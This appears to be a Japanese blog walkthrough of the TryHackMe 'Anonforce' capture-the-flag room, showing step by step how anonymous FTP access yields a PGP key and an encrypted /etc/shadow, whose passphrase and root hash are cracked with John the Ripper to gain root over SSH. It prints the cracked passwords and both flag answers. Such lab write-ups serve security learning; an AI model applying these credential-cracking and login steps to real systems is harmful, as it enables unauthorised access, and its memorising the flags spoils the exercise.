【TryHackMe】Anonforce：Walkthrough

# 概要

TryHackMe「Anonforce」のWalkthroughです。

https://tryhackme.com/r/room/bsidesgtanonforce

# Task1

## **Q1**.*user.txt*

`nmap`でポートスキャンを実行します。

```
$ nmap -Pn -sC -A -T4 -sV 10.10.160.40 
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 0        0            4096 Aug 11  2019 bin
| drwxr-xr-x    3 0        0            4096 Aug 11  2019 boot
| drwxr-xr-x   17 0        0            3700 Jun 16 08:47 dev
| drwxr-xr-x   85 0        0            4096 Aug 13  2019 etc
| drwxr-xr-x    3 0        0            4096 Aug 11  2019 home
| lrwxrwxrwx    1 0        0              33 Aug 11  2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
| lrwxrwxrwx    1 0        0              33 Aug 11  2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
| drwxr-xr-x   19 0        0            4096 Aug 11  2019 lib
| drwxr-xr-x    2 0        0            4096 Aug 11  2019 lib64
| drwx------    2 0        0           16384 Aug 11  2019 lost+found
| drwxr-xr-x    4 0        0            4096 Aug 11  2019 media
| drwxr-xr-x    2 0        0            4096 Feb 26  2019 mnt
| drwxrwxrwx    2 1000     1000         4096 Aug 11  2019 notread [NSE: writeable]
| drwxr-xr-x    2 0        0            4096 Aug 11  2019 opt
| dr-xr-xr-x  104 0        0               0 Jun 16 08:47 proc
| drwx------    3 0        0            4096 Aug 11  2019 root
| drwxr-xr-x   18 0        0             540 Jun 16 08:47 run
| drwxr-xr-x    2 0        0           12288 Aug 11  2019 sbin
| drwxr-xr-x    3 0        0            4096 Aug 11  2019 srv
| dr-xr-xr-x   13 0        0               0 Jun 16 08:47 sys
|_Only 20 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:f9:48:3e:11:a1:aa:fc:b7:86:71:d0:2a:f6:24:e7 (RSA)
|   256 73:5d:de:9a:88:6e:64:7a:e1:87:ec:65:ae:11:93:e3 (ECDSA)
|_  256 56:f9:9f:24:f1:52:fc:16:b7:7b:a3:e2:4f:17:b4:ea (ED25519)
```

`ftp:21`,`ssh:22`のポートがオープンになっていると分かりました。
更にFTPではアノニマスログインが許可されており、ディレクトリ構成を列挙してくれました。

FTPに接続します。

```
$ ftp 10.10.160.40
Connected to 10.10.160.40.
220 (vsFTPd 3.0.3)
Name (10.10.160.40:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

`/home/melodias`配下に`user.txt`があるので取得します。

```
ftp> cd /home/melodias
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||36395|)
150 Here comes the directory listing.
-rw-rw-r--    1 1000     1000           33 Aug 11  2019 user.txt
226 Directory send OK.
ftp> get user.txt
```

ユーザーフラグゲットです。

```
$ cat user.txt        
606083fd33beb1284fc51f411a706af8
```

**A**.**606083fd33beb1284fc51f411a706af8**

## **Q2**.*root.txt*

`/notread`という興味深いディレクトリを見つけました。

```
drwxrwxrwx    2 1000     1000         4096 Aug 11  2019 notread
```

中にはPGP鍵のバックアップと秘密鍵があるのでダウンロードします。

```
-rwxrwxrwx    1 1000     1000          524 Aug 11  2019 backup.pgp
-rwxrwxrwx    1 1000     1000         3762 Aug 11  2019 private.asc
```

秘密鍵をJohn The Ripperで解析するので`gpg2john`を使用して`private.asc`をJohn形式に変換します。

```
$ gpg2john private.asc > privatejohn
```

解析します。

```
$ john privatejohn 
```

パスワードがわかりました。

```
xbox360          (anonforce)
```

秘密鍵をインポートします。
パスフレーズは先ほど判明した`xbox360`を使用します。

![gpg import.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0276893f-3d5c-3dc2-6aa4-491586104719.png)

`backup.pgp`を復号します。

```
$ gpg --decrypt backup.pgp
```

パスフレーズは`xbox360`を使用します。

![backup decrypt.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7efc4e7a-8e1e-4d29-5253-9f5c4d78cd59.png)

中身は`/etc/shadow`ファイルでした。

```
root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7:::
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
sys:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
(省略)
```

`root`パスワードのハッシュが得られたので解析します。

```
$ echo '$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0' > root_hash.txt
$ john root_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

パスワードがわかりました。

```
hikari           (?) 
```

rootでSSH接続します。

```
$ ssh root@10.10.46.2
```

`/root/root.txt`を閲覧してフラグゲットです。

```
# cat /root/root.txt
f706456440c7af4187810c31c6cebdce
```

**A**.**f706456440c7af4187810c31c6cebdce**